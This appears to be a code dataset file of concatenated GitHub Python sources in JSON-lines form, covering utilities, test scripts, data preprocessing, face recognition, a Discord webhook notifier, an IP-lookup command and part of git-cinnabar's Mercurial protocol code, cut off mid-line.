merger_node.title\n self.grand_total = None\n if merger_node.enableGrandTotal:\n self.grand_total = merger_node.grandTotal\n\n while (current_merger_node is not None):\n if (current_merger_node.id in seen_merger_nodes):\n self.all_required = True\n break\n seen_merger_nodes.add(current_merger_node.id)\n eventTypeKey = current_merger_node.event1.type\n self.multiplier_event[eventTypeKey] = self.multiplier_event.get(eventTypeKey, 0) + current_merger_node.multiplier1\n if current_merger_node.event2 is not None:\n eventTypeKey2 = current_merger_node.event2.type\n self.multiplier_event[eventTypeKey2] = self.multiplier_event.get(eventTypeKey2, 0) + current_merger_node.multiplier2\n if current_merger_node.linkedRequirement:\n current_merger_node = RequirementMergeRequirement.objects.filter(candidateSemesterActive=candidateSemester.id, id=current_merger_node.linkedRequirement.id).first()\n else:\n current_merger_node = None\n \n def __str__(self):\n text = self.get_events_str()\n all_required_text = \"self.all_required = {}\".format(self.all_required)\n all_color_text = \"self.color = {}\".format(self.color)\n return \"{}, {}, {}\".format(text, all_required_text, all_color_text)\n \n def get_events_str(self):\n if self.title:\n return self.title\n text = []\n for event, multiplier in zip(self.events(), self.multiplier()):\n if multiplier != 1.0:\n text.append(str(multiplier) + \" x \" + event)\n else:\n text.append(event)\n self.title = \" + \".join(text)\n return self.title\n \n def get_counts(self, req_remaining, req_list):\n remaining_count = 0\n grand_total = 0\n for event, multiplier in zip(self.events(), self.multiplier()):\n remaining_count += multiplier * req_remaining.get(event, 0)\n grand_total += multiplier * req_list.get(event, 0)\n if self.grand_total is not None:\n grand_total = self.grand_total\n return remaining_count, grand_total\n \n def events(self):\n return self.multiplier_event.keys()\n \n def multiplier(self):\n return self.multiplier_event.values()\n","repo_name":"allengu01/hknweb","sub_path":"hknweb/candidate/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":12259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"37526093134","text":"__author__ = \"Conor O'Kelly\"\n\nfrom Main import run_in_single_input_from_file_output_to_file_mode, run_in_multiple_input_from_file_output_to_file_mode, run_in_single_input_return_output_mode\nfrom CSV_constructer import Trip\n\n# Testing of different mode\n\ndef different_mode():\n\n # Mode 1 - Take single line from an input file and output it as a file and output cheapest route to file\n\n run_in_single_input_from_file_output_to_file_mode(\"countrycurrency.csv\", \"currencyrates.csv\", \"airport.csv\",\"tripsInput.csv\")\n\n # Mode 2 - Take multiple lines of input from file and output cheapest route to file\n\n run_in_multiple_input_from_file_output_to_file_mode(\"countrycurrency.csv\", \"currencyrates.csv\", \"airport.csv\",\"tripsInput.csv\")\n\n # Mode 3 - Take single input of trip object and filenames and return cheapest routes\n\n trip = Trip(\"Single_tester Trip\",\"DUB\",\"JFK\",\"AAL\",\"SYD\",\"CDG\") # Assign trip object to variable\n\n cheap_trip = run_in_single_input_return_output_mode(\"countrycurrency.csv\", \"currencyrates.csv\", \"airport.csv\", trip)\n\n print(cheap_trip)\n\n# 2 incorrect file name\n\ndef incorrect_file_name():\n trip = Trip(\"Single_tester Trip\",\"DUB\",\"JFK\",\"AAL\",\"SYD\",\"CDG\") # Assign trip object to variable\n\n # Error will also reteun from the function as a string to be displayed elsewhere\n\n # Currency filename incorrect\n run_in_single_input_return_output_mode(\"x.csv\", \"currencyrates.csv\", \"airport.csv\", trip)\n\n # Conversion rates filename incorrect\n run_in_single_input_return_output_mode(\"countrycurrency.csv\", \"x.csv\", \"airport.csv\", trip)\n\n # Aiport information filename incorrect\n run_in_single_input_return_output_mode(\"countrycurrency.csv\", \"currencyrates.csv\", \"x.csv\", trip)\n\n # Trips filename incorrect\n run_in_multiple_input_from_file_output_to_file_mode(\"countrycurrency.csv\", \"currencyrates.csv\", \"airport.csv\", \"x.csv\")\n\nincorrect_file_name()\n\n# 3 Incorrectly formatted file\n\n # Handled within the program and an error message is generated as a return instead of a cheapest trip object\n\n# 4 Airport code from employee request not found\n\n # # Handled within the program and an error message is generated as a return instead of a cheapest trip object\n\n# 5 Airport code from employee request does not have sufficient information to process\n\n # Handled within the program and an error message is generated as a return instead of a cheapest trip object\n\n# 6 Country has no information on currency and conversion rate can not be found\n\n # Handled within the program and an error message is generated as a return instead of a cheapest trip object\n\n\n# 8 CSV value for 3 letter key is not 3 letters\n\n # Handled within the program and an error message is generated as a return instead of a cheapest trip object\n\n#\n#\n#\n#\n#\n#\n#\n#\n#\n#\n#\n#","repo_name":"c-okelly/Python-Project---Testing---College-project","sub_path":"projecttest.py","file_name":"projecttest.py","file_ext":"py","file_size_in_byte":2806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73431167523","text":"import os\nimport pickle\n\nimport pinyin\nfrom tqdm import tqdm\n\nfrom config import data_file, wav_folder, tran_file\n\n\n# split in ['train', 'test', 'dev']\ndef get_aishell_data(split):\n print('loading {} samples...'.format(split))\n\n with open(tran_file, 'r', encoding='utf-8') as file:\n lines = file.readlines()\n\n tran_dict = dict()\n for line in lines:\n tokens = line.split()\n key = tokens[0]\n trn = ''.join(tokens[1:])\n tran_dict[key] = trn.strip()\n\n samples = []\n\n folder = os.path.join(wav_folder, split)\n dirs = [os.path.join(folder, d) for d in os.listdir(folder) if os.path.isdir(os.path.join(folder, d))]\n for dir in tqdm(dirs):\n files = [f for f in os.listdir(dir) if f.endswith('.wav')]\n\n for f in files:\n audiopath = os.path.join(dir, f)\n\n key = f.split('.')[0]\n if key in tran_dict:\n text = tran_dict[key]\n text = pinyin.get(text, format=\"numerical\", delimiter=\" \")\n\n samples.append({'audiopath': audiopath, 'text': text})\n\n return samples\n\n\ndef main():\n data = dict()\n data['train'] = get_aishell_data('train')\n data['dev'] = get_aishell_data('dev')\n data['test'] = get_aishell_data('test')\n\n with open(data_file, 'wb') as file:\n pickle.dump(data, file)\n\n print('num_train: ' + str(len(data['train'])))\n print('num_dev: ' + str(len(data['dev'])))\n print('num_test: ' + str(len(data['test'])))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"foamliu/GST-Tacotron-v2","sub_path":"pre_process.py","file_name":"pre_process.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"54"} +{"seq_id":"25157914416","text":"#!/usr/bin/env python\n\nimport analysis\nimport pandas\nimport matplotlib.pyplot as plt\n\ntop = { 3:\"3\", 6:\"6\", 9:\"9\", 12:\"12\", 15:\"15\", 18:\"18\", 21:\"21\"}\nfolders = [\"hydrogen\"]\ndatae = {}\ndatan = {}\nionization = {}\nprint (\"ionization:\")\nfor j in top:\n de = {}\n dn = {}\n indexn = []\n indexe = []\n ionization[j] = {}\n for i in folders:\n analysis.gen_k_spectrum_figure( top[j] + \"/wf_final_kspectrum.dat\" , .5, top[j] + \"_\" + i + \"kspectrum.pdf\" )\n iwf = analysis.indexed_wf( analysis.get_prototype(top[j] + \"/prototype.csv\"), analysis.import_petsc_vec( top[j] + \"/wf_final.dat\") )\n ion = analysis.ionization(iwf)\n print ( top[j] + \" - \" + i + \" -- \" + str(1.-ion[\"bound\"]) + \", absorbed: \" + str(ion[\"absorbed\"]) )\n ionization[j][i] = 1.-ion[\"bound\"]\n gnwf = analysis.grouped_by(\"n\", iwf)\n gewf = analysis.binned_group_by(iwf, .01)\n de[i] = gewf[\"wf_abs\"]\n dn[i] = gnwf[\"wf_abs\"].loc[:28]\n indexn = gnwf.loc[:28].index\n indexe = gewf.index\n\n datae[j] = pandas.DataFrame(de, indexe)\n datan[j] = pandas.DataFrame(dn, indexn)\n\n plt.figure()\n datan[j].plot(logy=False, title=top[j])\n plt.savefig(top[j] + \"_n.pdf\")\n \n plt.figure()\n datae[j].plot(logy=True, title=top[j])\n plt.savefig(top[j] + \"_e.pdf\")\n\nion = pandas.DataFrame( ionization ).transpose().sort()\nplt.figure()\nion.plot(logy=True, logx=True, title=\"ionization vs. cycles\")\nplt.savefig(\"ionization.pdf\")\n\nfor i in folders:\n de_l = {}\n dn_l = {}\n for j in top:\n de_l[j] = datae[j][i]\n dn_l[j] = datan[j][i]\n de = pandas.DataFrame( de_l, datae[3].index)\n dn = pandas.DataFrame( dn_l, datan[3].index)\n plt.figure()\n de.plot(logy=True, title=i)\n plt.savefig(i + \"_e.pdf\")\n plt.figure()\n dn.plot(logy=True, title=i)\n plt.savefig(i + \"_n.pdf\")\n\n","repo_name":"spott/ebss","sub_path":"utils/momentum_spectrum_analysis.py","file_name":"momentum_spectrum_analysis.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"10213737651","text":"from dataclasses import dataclass\nfrom .cmd import BaseCommand\nimport httpx\n\n\n@dataclass\nclass ExpiredAttack(BaseCommand):\n alias: str = 'my_ip'\n\n @property\n def help(self) -> str:\n return ''\n\n async def execute(self):\n async with httpx.AsyncClient() as ahttp:\n resp = await ahttp.get('http://ip-api.com/json/')\n self.display(resp.json()['query'])\n","repo_name":"krypton-byte/relix","sub_path":"relix/command/my_ip.py","file_name":"my_ip.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"33988947574","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\nimport os\r\nfrom .static import gene_counts, lncrna_counts\r\nfrom raser.settings import TOOLS_SELECTED\r\n\r\n\r\nTRANSCRIPT_DIR = \"transcript_out\"\r\nQC_DIR = \"fastqc_out\"\r\nVARIATION_DIR = \"variation_out\"\r\nALTER_SPLICE_DIR = \"alter_splice_out\"\r\nNCRNA_DIR = \"ncRNA_out\"\r\n\r\n\r\ndef creat_dir(*folder):\r\n for fd in folder:\r\n if not os.path.exists(fd):\r\n os.makedirs(fd)\r\n return folder[0]\r\n\r\n\r\nclass GlobalDirectoryManagement(object):\r\n\r\n def __setattr__(self, key, value):\r\n \"\"\"\r\n Automatic creation.\r\n \"\"\"\r\n if key.endswith(\"_dir\") and not os.path.exists(value):\r\n os.makedirs(value)\r\n else:\r\n pass\r\n self.__dict__[key] = value\r\n\r\n def __init__(self, ini):\r\n self.ini = ini\r\n self.id = \"global\"\r\n\r\n self.home_dir = self.ini.root_path\r\n self.nc_dir = os.path.join(self.home_dir, NCRNA_DIR)\r\n\r\n\r\nclass DirectoryManagement(object):\r\n \"\"\"\r\n Store the output folder for each sample.\r\n \"\"\"\r\n def __setattr__(self, key, value):\r\n \"\"\"\r\n Automatic creation.\r\n \"\"\"\r\n if key.endswith(\"_dir\") and not os.path.exists(value):\r\n os.makedirs(value)\r\n else:\r\n pass\r\n self.__dict__[key] = value\r\n\r\n def __init__(self, params):\r\n \"\"\"\r\n :param params: Parameters of 'sequence_format', 'home_dir' and 'sample' are required.\r\n eg:\r\n * params[\"sequence_format\"]\r\n * params['sample'] --> (file_name,) == it hasn't SRA in sample\r\n * params['home_dir']\r\n \"\"\"\r\n self.sequence_format = params.get(\"sequence_format\")\r\n self.sample = params.get(\"sample\")\r\n self.home_dir = params.get(\"home_dir\")\r\n\r\n # new vector\r\n self.id = os.path.basename(self.home_dir)\r\n self.library_type = \"\"\r\n # based on trimmomatic(must had run)\r\n self.max_read_length = 0\r\n self.phred = \"\"\r\n\r\n # new dict\r\n self.qc_dir = os.path.join(self.home_dir, QC_DIR)\r\n self.transcript_dir = os.path.join(self.home_dir, TRANSCRIPT_DIR)\r\n self.variation_dir = os.path.join(self.home_dir, VARIATION_DIR)\r\n self.as_dir = os.path.join(self.home_dir, ALTER_SPLICE_DIR)\r\n\r\n # new file\r\n self.clean_data = [\"\".join((os.path.join(self.home_dir, self.id), \"_clean.fq.gz\")),\r\n ] if params.get(\"sequence_format\") == \"SE\" else [\r\n \"\".join((os.path.join(self.home_dir, self.id), \"_\", str(i), \"_clean.fq.gz\")) for i in range(1, 3)]\r\n # self.unclean_data = (\"\".join((os.path.join(self.home_dir, self.id), \"_unclean.fastq\")))\r\n self.unclean_data = (\"\", ) if params.get(\"sequence_format\") == \"SE\" else (\r\n \"\".join((os.path.join(self.home_dir, self.id), \"_\", str(i), \"_unclean.fq.gz\")) for i in range(1, 3))\r\n\r\n self.bam_file = \".\".join((os.path.join(self.home_dir, self.id), \"bam\"))\r\n self.vcf = \"\".join((os.path.join(self.variation_dir, self.id), \".vcf.gz\"))\r\n self.gvcf = \"\".join((os.path.join(self.variation_dir, self.id), \".g.vcf.gz\"))\r\n\r\n self.gene_counts_file = os.path.join(self.home_dir, self.id + gene_counts.get(\"suffix\"))\r\n self.lncrna_counts_file = os.path.join(self.home_dir, self.id + lncrna_counts.get(\"suffix\"))\r\n\r\n self.tpm = os.path.join(self.home_dir, self.id + \".tpm\")\r\n self.gtf = os.path.join(self.transcript_dir, \"transcripts.gtf\")\r\n self.e_gtf = os.path.join(self.transcript_dir, \"transcripts_stb.gtf\") # see \"-e\" in ballgown\r\n self.lnc_gtf = os.path.join(self.transcript_dir, \"pre_lnc.gtf\")\r\n\r\n if TOOLS_SELECTED.get(\"alignment\") == \"tophat2\":\r\n self.org_bam = os.path.join(self.home_dir, \"tophat_out\", \"accepted_hits.bam\")\r\n elif TOOLS_SELECTED.get(\"alignment\") == \"hisat2\":\r\n self.bam_file.replace(\"bam\", \"sam\")\r\n else:\r\n os.path.join(creat_dir(os.path.join(self.home_dir, \"star_out/\")), \"Aligned.sortedByCoord.out.bam\")\r\n\r\n","repo_name":"clsteam/Raser","sub_path":"params/bundle.py","file_name":"bundle.py","file_ext":"py","file_size_in_byte":4061,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"2417533921","text":"import os\nimport glob\nimport json\nfrom tqdm.auto import tqdm\nimport numpy as np\nimport cv2 as cv\nimport pandas as pd\nfrom collections import defaultdict\nfrom face_detector import FaceDetector\nfrom feature_extractor import FeatureExtractor\nfrom utils import *\n\n\nif __name__ == '__main__':\n config = get_config()\n detector = FaceDetector(config)\n extractor = FeatureExtractor()\n\n all_paths = get_all_image_paths()\n faces = []\n class2idx = defaultdict(lambda: 1)\n class_list = defaultdict(list)\n idx = 0\n for i, path in tqdm(enumerate(all_paths)):\n crops = detector.detect_faces(path)\n dirs = path.rsplit(os.path.sep, 2)\n parent_folder = os.path.join('cropped_faces', dirs[1])\n if not os.path.exists(parent_folder):\n os.makedirs(parent_folder)\n for crop in crops:\n cv.imwrite(os.path.join(parent_folder, f'{class2idx[dirs[1]]}.jpg'), cv.cvtColor(crop, cv.COLOR_RGB2BGR))\n class2idx[dirs[1]] += 1\n class_list[dirs[1]].append(idx)\n idx += 1\n faces.extend(crops)\n faces = np.array(faces)\n embeddings = extractor.get_embeddings(faces)\n \n idx2class = {}\n for k, lst in class_list.items():\n for v in lst:\n idx2class[v] = k\n df = pd.DataFrame(idx2class.items(), columns = ['index', 'class'])\n df.to_csv(config['classes_path'], index = False)\n np.save(config['embeddings_path'], embeddings)\n","repo_name":"minhngh/Multidisciplinary-Project","sub_path":"recognition/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"21907323796","text":"# Given an array arr of integers, check if there exists two integers N and M such that\n# N is the double of M ( i.e. N = 2 * M).\n\nnums = [10,3,5,7,8,12]\n\ndef checkifexist(nums):\n hmap = {}\n\n for i in nums:\n if i not in hmap:\n hmap[i*2] = 1\n hmap[i/2] = 1\n else:\n return print('True')\n return print('False')\n\ncheckifexist([3,1,7,11])","repo_name":"dattnguyen/Leetcode_exercises","sub_path":"1346. Check if N and Its Double Exist.py","file_name":"1346. Check if N and Its Double Exist.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7051282258","text":"from discord_webhooks import DiscordWebhooks\nfrom .webhookURL import WEBHOOK_URL\n\nclass DiscordWebhook:\n def __init__(self,webhookURL):\n self.webhookURL=webhookURL\n \n def setWebhookURL(self,webhookURL):\n self.webhookURL=webhookURL\n \n # Static method\n def Notify(CourierId,FromName,StudentName,RollNumber,Email,Mobile,ReceivedDT,OtherInfo,edited):\n webhook=DiscordWebhooks(WEBHOOK_URL)\n webhook.title=\"New Courier! :smile:\"\n webhook.description=f\"Courier Id : {CourierId}\"\n if(FromName):\n webhook.add_field(name='From', value=FromName)\n if(StudentName):\n webhook.add_field(name='Student Name', value=StudentName)\n if(RollNumber):\n webhook.add_field(name='Roll Number', value=RollNumber)\n if(Email):\n webhook.add_field(name='Email', value=Email)\n if(Mobile):\n webhook.add_field(name='Mobile', value=Mobile[:len(Mobile)-3]+\"***\")\n if(OtherInfo):\n webhook.add_field(name='Other Information', value=OtherInfo)\n if(ReceivedDT):\n if(edited):\n webhook.set_footer(text=f\"Edited on {ReceivedDT}\")\n else: \n webhook.set_footer(text=f\"Received on {ReceivedDT}\")\n webhook.send()","repo_name":"GSri30/CourierManagementProject","sub_path":"CourierManagement/Discord/webhook.py","file_name":"webhook.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"54"} +{"seq_id":"73869960163","text":"import boto3\nimport os\nimport json\nimport logging\n\n\nlogLevel = os.getenv(\"LOG_LEVEL\", \"DEBUG\").upper()\nlogger = logging.getLogger()\nlogger.setLevel(logLevel)\n\n\ndef lambda_handler(event, context):\n logger.debug(json.dumps(event))\n logger.debug(context)\n try:\n bucketName = event['Records'][0]['s3']['bucket']['name']\n objectName = event['Records'][0]['s3']['object']['key']\n logger.info(f\"Event received for {objectName} in bucket {bucketName}\")\n except KeyError:\n logger.error(\"Data not in expected format\")","repo_name":"headforthecloud/terraform-aws-s3-eventbridge-translation","sub_path":"source/eventbridge_transform/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"25098416872","text":"from __future__ import absolute_import, division, unicode_literals\nimport os\nimport re\nimport ssl\nimport sys\ntry:\n from urllib.parse import quote_from_bytes, unquote_to_bytes\nexcept ImportError:\n from urllib import quote as quote_from_bytes\n from urllib import unquote as unquote_to_bytes\ntry:\n from urllib2 import HTTPError\nexcept ImportError:\n from urllib.error import HTTPError\nfrom cinnabar.exceptions import NothingToGraftException\nfrom cinnabar.githg import Changeset\nfrom cinnabar.helper import (\n GitHgHelper,\n HgRepoHelper,\n BundleHelper,\n)\nfrom binascii import (\n hexlify,\n unhexlify,\n)\nfrom itertools import chain\ntry:\n from itertools import izip as zip\nexcept ImportError:\n pass\nfrom io import BytesIO\ntry:\n from urlparse import (\n ParseResult,\n urlparse,\n urlunparse,\n )\nexcept ImportError:\n from urllib.parse import (\n ParseResult,\n urlparse,\n urlunparse,\n )\nimport logging\nimport struct\nimport random\nfrom cinnabar.dag import gitdag\nfrom cinnabar.git import (\n Git,\n InvalidConfig,\n NULL_NODE_ID,\n)\nfrom cinnabar.util import (\n HTTPReader,\n check_enabled,\n chunkbuffer,\n environ,\n experiment,\n fsdecode,\n progress_enum,\n progress_iter,\n)\nfrom collections import (\n defaultdict,\n deque,\n)\nfrom .bundle import (\n create_bundle,\n encodecaps,\n decodecaps,\n)\nfrom .changegroup import (\n RawRevChunk01,\n RawRevChunk02,\n)\n\n\ntry:\n if check_enabled('no-mercurial'):\n raise ImportError('Do not use mercurial')\n # Old versions of mercurial use an old version of socketutil that tries to\n # assign a local PROTOCOL_SSLv2, copying it from the ssl module, without\n # ever using it. It shouldn't hurt to set it here.\n if not hasattr(ssl, 'PROTOCOL_SSLv2'):\n ssl.PROTOCOL_SSLv2 = 0\n if not hasattr(ssl, 'PROTOCOL_SSLv3'):\n ssl.PROTOCOL_SSLv3 = 1\n\n from mercurial import (\n changegroup,\n error,\n hg,\n ui,\n url,\n util,\n )\n try:\n from mercurial.sshpeer import instance as sshpeer\n except ImportError:\n from mercurial.sshrepo import instance as sshpeer\n try:\n from mercurial.utils import procutil\n except ImportError:\n from mercurial import util as procutil\nexcept ImportError:\n changegroup = unbundle20 = False\n\nif changegroup:\n try:\n from mercurial.changegroup import cg1unpacker\n except ImportError:\n from mercurial.changegroup import unbundle10 as cg1unpacker\n\n try:\n if check_enabled('no-bundle2'):\n raise ImportError('Do not use bundlev2')\n from mercurial.bundle2 import capabilities\n if b'HG20' not in capabilities:\n raise ImportError('Mercurial may have unbundle20 but insufficient')\n from mercurial.bundle2 import unbundle20\n except ImportError:\n unbundle20 = False\n\n url_passwordmgr = url.passwordmgr\n\n class passwordmgr(url_passwordmgr):\n def find_user_password(self, realm, authuri):\n try:\n return url_passwordmgr.find_user_password(self, realm,\n authuri)\n except error.Abort:\n # Assume error.Abort is only thrown from the base class's\n # find_user_password itself, which reflects that authentication\n # information is missing and mercurial would want to get it\n # from user input, but can't because the ui isn't interactive.\n credentials = dict(\n line.split(b'=', 1)\n for line in Git.iter('credential', 'fill',\n stdin=b'url=%s' % authuri)\n )\n username = credentials.get(b'username')\n password = credentials.get(b'password')\n if not username or not password:\n raise\n return username, password\n\n url.passwordmgr = passwordmgr\nelse:\n def cg1unpacker(fh, alg):\n assert alg == b'UN'\n return fh\n\n\nif not unbundle20 and not check_enabled('no-bundle2'):\n class unbundle20(object):\n def __init__(self, ui, fh):\n self.fh = fh\n params_len = readexactly(fh, 4)\n assert params_len == b'\\0\\0\\0\\0'\n\n def iterparts(self):\n while True:\n d = readexactly(self.fh, 4)\n length = struct.unpack('>i', d)[0]\n if length == 0:\n break\n assert length > 0\n header = readexactly(self.fh, length)\n yield Part(header, self.fh)\n\n class Part(object):\n def __init__(self, rawheader, fh):\n rawheader = memoryview(rawheader)\n part_type_len = struct.unpack('>B', rawheader[:1])[0]\n self.type = rawheader[1:part_type_len + 1].tobytes().lower()\n rawheader = rawheader[part_type_len + 5:]\n params_count1, params_count2 = struct.unpack('>BB', rawheader[:2])\n rawheader = rawheader[2:]\n count = params_count1 + params_count2\n param_sizes = struct.unpack(\n '>' + ('BB' * count), rawheader[:2 * count])\n rawheader = rawheader[2 * count:]\n data = []\n for size in param_sizes:\n data.append(rawheader[:size])\n rawheader = rawheader[size:]\n assert len(rawheader) == 0\n self.params = {\n k.tobytes(): v.tobytes()\n for k, v in zip(data[::2], data[1::2])\n }\n self.fh = fh\n self.chunk_offset = 0\n self.chunk_size = 0\n self.consumed = False\n\n def read(self, size):\n ret = b''\n while size and not self.consumed:\n if self.chunk_size == self.chunk_offset:\n d = readexactly(self.fh, 4)\n self.chunk_size = struct.unpack('>i', d)[0]\n if self.chunk_size == 0:\n self.consumed = True\n break\n # TODO: handle -1, which is a special value\n assert self.chunk_size > 0\n self.chunk_offset = 0\n\n data = readexactly(\n self.fh, min(size, self.chunk_size - self.chunk_offset))\n size -= len(data)\n self.chunk_offset += len(data)\n ret += data\n return ret\n\n\n# The following two functions (readexactly, getchunk) were copied from the\n# mercurial source code.\n# Copyright 2006 Matt Mackall and others\ndef readexactly(stream, n):\n '''read n bytes from stream.read and abort if less was available'''\n s = stream.read(n)\n if len(s) < n:\n raise Exception(\"stream ended unexpectedly (got %d bytes, expected %d)\"\n % (len(s), n))\n return s\n\n\ndef getchunk(stream):\n \"\"\"return the next chunk from stream as a string\"\"\"\n d = readexactly(stream, 4)\n length = struct.unpack(\">l\", d)[0]\n if length <= 4:\n if length:\n raise Exception(\"invalid chunk length %d\" % length)\n return \"\"\n return readexactly(stream, length - 4)\n\n\nchunks_logger = logging.getLogger('chunks')\n\n\ndef chunks_in_changegroup(chunk_type, bundle, category=None):\n previous_node = None\n while True:\n chunk = getchunk(bundle)\n if not chunk:\n return\n chunk = chunk_type(chunk)\n if isinstance(chunk, RawRevChunk01):\n chunk.delta_node = previous_node or chunk.parent1\n if category and chunks_logger.isEnabledFor(logging.DEBUG):\n chunks_logger.debug(\n '%s %s',\n category,\n chunk.node,\n )\n yield chunk\n previous_node = chunk.node\n\n\ndef iter_chunks(chunks, cls):\n for chunk in chunks:\n yield cls(chunk)\n\n\ndef iterate_files(chunk_type, bundle):\n while True:\n name = getchunk(bundle)\n if not name:\n return\n for chunk in chunks_in_changegroup(chunk_type, bundle, name):\n yield name, chunk\n\n\ndef iter_initialized(get_missing, iterable, init=None):\n previous = None\n check = check_enabled('nodeid')\n for instance in iterable:\n if instance.delta_node != NULL_NODE_ID:\n if not previous or instance.delta_node != previous.node:\n previous = get_missing(instance.delta_node)\n if init:\n instance = init(instance, previous)\n else:\n instance.init(previous)\n elif init:\n instance = init(instance)\n else:\n instance.init(())\n if check and instance.node != instance.sha1:\n raise Exception(\n 'sha1 mismatch for node %s with parents %s %s and '\n 'previous %s' %\n (instance.node.decode('ascii'),\n instance.parent1.decode('ascii'),\n instance.parent2.decode('ascii'),\n instance.delta_node.decode('ascii'))\n )\n yield instance\n previous = instance\n\n\nclass ChunksCollection(object):\n def __init__(self, iterator):\n self._chunks = deque()\n\n for chunk in iterator:\n self._chunks.append(chunk)\n\n def __iter__(self):\n while True:\n try:\n yield self._chunks.popleft()\n except IndexError:\n return\n\n def iter_initialized(self, cls, get_missing, init=None):\n return iter_initialized(get_missing, iter_chunks(self, cls),\n init=init)\n\n\ndef _sample(l, size):\n if len(l) <= size:\n return l\n return random.sample(l, size)\n\n\n# TODO: this algorithm is not very smart and might as well be completely wrong\ndef findcommon(repo, store, hgheads):\n logger = logging.getLogger('findcommon')\n logger.debug(hgheads)\n if not hgheads:\n logger.info('no requests')\n return set()\n\n sample_size = 100\n\n sample = _sample(hgheads, sample_size)\n requests = 1\n known = repo.known(unhexlify(h) for h in sample)\n known = set(h for h, k in zip(sample, known) if k)\n\n logger.debug('initial sample size: %d', len(sample))\n\n if len(known) == len(hgheads):\n logger.debug('all heads known')\n logger.info('1 request')\n return hgheads\n\n git_heads = set(store.changeset_ref(h) for h in hgheads)\n git_known = set(store.changeset_ref(h) for h in known)\n\n if logger.isEnabledFor(logging.DEBUG):\n logger.debug('known (sub)set: (%d) %s', len(known), sorted(git_known))\n\n args = [b'--topo-order', b'--full-history', b'--parents']\n\n def revs():\n for h in git_known:\n yield b'^%s' % h\n for h in git_heads:\n if h not in git_known:\n yield h\n\n args.extend(revs())\n revs = ((c, parents) for c, t, parents in GitHgHelper.rev_list(*args))\n dag = gitdag(chain(revs, ((k, ()) for k in git_known)))\n dag.tag_nodes_and_parents(git_known, 'known')\n\n def log_dag(tag):\n if not logger.isEnabledFor(logging.DEBUG):\n return\n logger.debug('%s dag size: %d', tag,\n sum(1 for n in dag.iternodes(tag)))\n heads = sorted(dag.heads(tag))\n logger.debug('%s dag heads: (%d) %s', tag, len(heads), heads)\n roots = sorted(dag.roots(tag))\n logger.debug('%s dag roots: (%d) %s', tag, len(roots), roots)\n\n log_dag('unknown')\n log_dag('known')\n\n while True:\n unknown = set(chain(dag.heads(), dag.roots()))\n if not unknown:\n break\n\n sample = set(_sample(unknown, sample_size))\n if len(sample) < sample_size:\n sample |= set(_sample(set(dag.iternodes()),\n sample_size - len(sample)))\n\n sample = list(sample)\n hg_sample = [store.hg_changeset(h) for h in sample]\n requests += 1\n known = repo.known(unhexlify(h) for h in hg_sample)\n unknown = set(h for h, k in zip(sample, known) if not k)\n known = set(h for h, k in zip(sample, known) if k)\n logger.debug('next sample size: %d', len(sample))\n if logger.isEnabledFor(logging.DEBUG):\n logger.debug('known (sub)set: (%d) %s', len(known), sorted(known))\n logger.debug('unknown (sub)set: (%d) %s', len(unknown),\n sorted(unknown))\n\n dag.tag_nodes_and_parents(known, 'known')\n dag.tag_nodes_and_children(unknown, 'unknown')\n log_dag('unknown')\n log_dag('known')\n\n logger.info('%d requests', requests)\n return [store.hg_changeset(h) for h in dag.heads('known')]\n\n\nclass HelperRepo(object):\n __slots__ = \"_url\", \"_branchmap\", \"_heads\", \"_bookmarks\", \"_ui\", \"remote\"\n\n def __init__(self, url):\n self._url = url\n self._branchmap = None\n self._heads = None\n self._bookmarks = None\n self._ui = None\n self.remote = None\n\n @property\n def ui(self):\n if not self._ui:\n self._ui = get_ui()\n return self._ui\n\n def init_state(self):\n state = HgRepoHelper.state()\n self._branchmap = {\n unquote_to_bytes(branch): [unhexlify(h)\n for h in heads.split(b' ')]\n for line in state['branchmap'].splitlines()\n for branch, heads in (line.split(b' ', 1),)\n }\n self._heads = [unhexlify(h)\n for h in state['heads'][:-1].split(b' ')]\n self._bookmarks = self._decode_keys(state['bookmarks'])\n\n def url(self):\n return self._url\n\n def _decode_keys(self, data):\n return dict(\n line.split(b'\\t', 1)\n for line in data.splitlines()\n )\n\n def _call(self, command, *args):\n if command == b'clonebundles':\n return HgRepoHelper.clonebundles()\n if command == b'cinnabarclone':\n return HgRepoHelper.cinnabarclone()\n raise NotImplementedError()\n\n def capable(self, capability):\n if capability == b'bundle2':\n return quote_from_bytes(\n HgRepoHelper.capable(b'bundle2') or b'').encode('ascii')\n if capability in (b'clonebundles', b'cinnabarclone'):\n return HgRepoHelper.capable(capability) is not None\n return capability in (b'getbundle', b'unbundle', b'lookup')\n\n def batch(self):\n raise NotImplementedError()\n\n def heads(self):\n if self._heads is None:\n self.init_state()\n return self._heads\n\n def branchmap(self):\n if self._branchmap is None:\n self.init_state()\n return self._branchmap\n\n def listkeys(self, namespace):\n if namespace == b'bookmarks':\n if self._bookmarks is None:\n self.init_state()\n return self._bookmarks\n return self._decode_keys(HgRepoHelper.listkeys(namespace))\n\n def known(self, nodes):\n result = HgRepoHelper.known(hexlify(n) for n in nodes)\n return [b == b'1'[0] for b in result]\n\n def getbundle(self, name, heads, common, *args, **kwargs):\n data = HgRepoHelper.getbundle((hexlify(h) for h in heads),\n (hexlify(c) for c in 